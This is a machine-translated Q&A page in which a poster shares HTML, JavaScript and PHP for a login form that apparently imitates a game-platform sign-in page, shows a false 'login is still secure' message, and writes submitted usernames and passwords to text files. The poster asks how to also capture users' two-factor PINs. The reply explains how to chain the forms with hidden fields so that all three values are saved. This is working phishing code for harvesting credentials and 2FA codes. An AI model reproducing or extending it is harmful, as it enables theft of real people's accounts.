簡體   English   中英

如何一次將多個表格寫入文件

[英]How to write more than one form to a file at once

目前,我有兩種形式,一種用於用戶名和密碼,一種用於特殊的身份驗證密碼。

用戶名和密碼

<form action="#" method="POST" id="hello" onsubmit="return false;">
<div id="loadingGif" style="display:none"><img src="#"></div> 

<input class="btn_green_white_innerfade btn_medium" type="submit" 
name="submit" id="userLogin" value="Sign in" width="104" height="25" 
border="0" tabindex="5" onclick="showDiv()">
            <div class="mainLoginLeftPanel_signin">
                <label for="userAccountName">username</label><br>
                <input class="textField" type="text" name="username" 
id="userAccountName" maxlength="64" tabindex="1" value=""><br>&nbsp;<br>
                <label for="userPassword">Password</label><br>
                <input class="textField" type="password" name="password" 
id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
                <div id="passwordclearlabel" style="text-align: left; 
display: none;">It seems that you may be having trouble entering your 
password. We will now show your password in plain text (login is still 
secure).</div>
</div>

通過將/loginaction.php添加到action =“”中,我能夠使用PHP將用戶名和密碼輸入寫入文本文件,但是現在我想對特殊的兩因素銷進行相同的操作,添加文件into action =“”,在div顯示之前刷新頁面,該頁面允許用戶在那輸入圖釘,我需要幫助找到一種將所有三個輸入都寫入此文本文件的方法,我們將不勝感激,對此非常感謝

顯示div輸入代碼的功能在這里

function showDiv() {
    document.getElementById('userLogin').style.display = "none";
    document.getElementById('loadingGif').style.display = "block";
    setTimeout(function() {
        document.getElementById('loadingGif').style.display = "none";
        document.getElementById('showme').style.display = "block";
    },2000);
}

寫入文件的PHP代碼是

<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("File written");
$txt = $_POST['username'] . ':' . $_POST['password'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:("; 
?>  

您對所要詢問的內容不清楚。 似乎您在問,我該如何使用一種形式來創建用戶名和密碼,然后將其重定向到另一頁,讓它們進行固定,然后將所有這三種輸入都寫入特定的文本文件?

忽略您可以在一頁上而不是在做這兩種事情的事實,您只需將相關信息發布到鏈中的下一頁即可。

用戶名和密碼形式-> POSTS-> PIN碼形式-> POSTS TO->處理形式,其中所有三位信息都被處理到上述文本文件中。

您只需將用戶名和密碼表中的信息作為密碼輸入中的隱藏輸入即可。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM